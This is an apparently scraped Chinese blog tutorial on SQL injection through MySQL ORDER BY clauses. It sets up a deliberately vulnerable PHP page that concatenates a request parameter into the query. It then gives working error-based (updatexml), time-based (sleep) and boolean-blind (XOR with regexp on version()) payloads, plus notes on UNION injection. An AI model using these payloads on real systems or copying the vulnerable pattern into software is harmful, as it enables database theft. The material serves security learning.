1. 程式人生 > >玩得一手好註入之order by排序篇

玩得一手好註入之order by排序篇

布爾 idt center 取反 操作符 aaa 發生 9.png 很多

看了之前Gr36_前輩在先知上的議題,其中有提到排序註入,這個在最近經常遇到這樣的問題,所以先總結下order by 排序註入的知識。

0×00 背景

看了之前Gr36_前輩在先知上的議題,其中有提到排序註入,這個在最近經常遇到這樣的問題,所以先總結下order by 排序註入的知識。

0×01 環境信息

測試環境:操作系統ubuntu0.14.04.1 MYSQL:5.5.55-0

測試代碼:

<?php

$mysql_server=”10.10.10.136″;

$mysql_username=”root”;

$mysql_userpass=”xxxxx”;

$mysql_select_db=”test”;

$config=mysql_connect($mysql_server,$mysql_username,$mysql_userpass)or die (mysql_error());

$db=mysql_select_db($mysql_select_db)or die (mysql_error());

if( isset( $_REQUEST[ ‘evil‘ ]) ) {

$evil = $_REQUEST[ ‘evil‘ ];

$query = “select * from test order by user_id $evil;”;

//$query = “(select * from test order by user_id $evil);”;

$result = mysql_query( $query,$config) or die( $query.’<pre>’ . mysql_error() . ‘</pre>’);

$num = mysql_numrows( $result );

$i = 0;

while( $i < $num ) {

$user_id = mysql_result( $result, $i, “user_id” );

$user = mysql_result( $result, $i, “user” );

$password = mysql_result( $result, $i, “password” );

$html .= “<pre>user_id: {$user_id} user: {$user} password: {$password}</pre>”;

$i++;

}

mysql_close();

echo $query;

echo $html;

}

?>

0×02 註入方法介紹

正常頁面:

技術分享圖片

1.order by 與 報錯註入:

當頁面會展示出MYSQL的錯誤信息時,可以使用報錯註入。

?evil=and(updatexml(1,concat(0x7e,(select user())),0))

技術分享圖片

2.order by 與 盲註:

當頁面並沒有展示MYSQL的錯誤信息時,且只能根據頁面的回顯數據的狀態進行判斷時,可使用布爾盲註。

《當然雨師傅也提到了可以使用時間盲註 select * from test order by user_id,(select 1 from (select sleep(3))a)》

這裏使用位運算符的^(位異或),當然MySQL還有|(位或),&(位與),~(位取反),>>(位右移),<<(位左移)操作符號,位符號感覺有很多妙用目前還沒想好:-)。

^(位異或會將前後的數字轉換成2進制然後進行異或。

因為正則進行匹配時,匹配到數據返回1(00000001)的時候,此時返回的1會和user_id中的數據的二進制進行異或,然後按照異或的結果升序排列,所以顯示的排列會發生變化。

當正則進行匹配時,未匹配到數據返回0(00000000)的時候,任意數字和0異或的結果還是本身,所以user_id中的數據和0進行異或後排序是不變的。

因此,當頁面排序紊亂時候則說明正則匹配到正確數據,頁面排序未發生紊亂時則說明正則沒有匹配到數據。

通過排列順序的變化來判斷返回的結果是否正確,這裏的MYSQL版本是:5.5.55-0, 所以使用如下語句可以匹配到數據,因此排序發生變化了,這裏’^5′也可以轉換成^5的16進制,這樣語句中就沒了引號。

?evil=^(select (select version()) regexp ‘^5′), 正則返回結果為1,然後與user_id後面的值進行異或,得到如下結果。

排序前 排序後
user_id user_id的二進制 正則(1)二進制 user_id^1 user_id user_id的二進制 正則(1)二進制 user_id^1
1 00000001 00000001 00000000 1 00000001 00000001 00000000
2 00000010 00000001 00000011 3 00000011 00000001 00000010
3 00000011 00000001 00000010 2 00000010 00000001 00000011
4 00000100 00000001 00000101 5 00000101 00000001 00000100
5 00000101 00000001 00000100 4 00000100 00000001 00000101
6 00000110 00000001 00000111 7 00000111 00000001 00000110
7 00000111 00000001 00000110 6 00000110 00000001 00000111

因為order by 默認是升序排列的,所以頁面顯示的是如下的效果:

技術分享圖片

?evil=^(select (select version()) regexp ‘^aaaaaa’) 未能匹配到數據,因此返回0。

當正則未匹配到數據時候返回的結果是0, 0和任意數字異或的結果都是數字本身,所以排序是不變的。

user_id user_id的二進制 正則(0)二進制 user_id^0
1 00000001 00000000 00000001
2 00000010 00000000 00000010
3 00000011 00000000 00000011
4 00000100 00000000 00000100
5 00000101 00000000 00000101
6 00000110 00000000 00000110
7 00000111 00000000 00000111

技術分享圖片

3.order by 與union 查詢:

當$query = “select * from test order by user_id $evil;”;沒有使用括號包裹的時候,是無法直接使用union查詢的。

當 $query = “(select * from test order by user_id $evil);”;使用括號進行包裹的時候,此時是可以進行union查詢的。

這個在MySQL的官方文檔上也有進行說明<來自 MySQL 5.5參考手冊>,文檔中說道並把ORDER BY或LIMIT放到最後一個的後面,

經過測試MYSQL:5.5.55-0放在前面也是可以執行的。當然這種情況不大常見。

技術分享圖片

技術分享圖片

0×03 小小的總結

由於采用預編譯執行SQL語句時傳入的參數不能作為SQL語句,所以像order by xxx desc這裏的排序規則還是只能用拼接,

因此order by後的註入或許能夠成為後續漏洞挖掘重點關註的SQL註入點。

玩得一手好註入之order by排序篇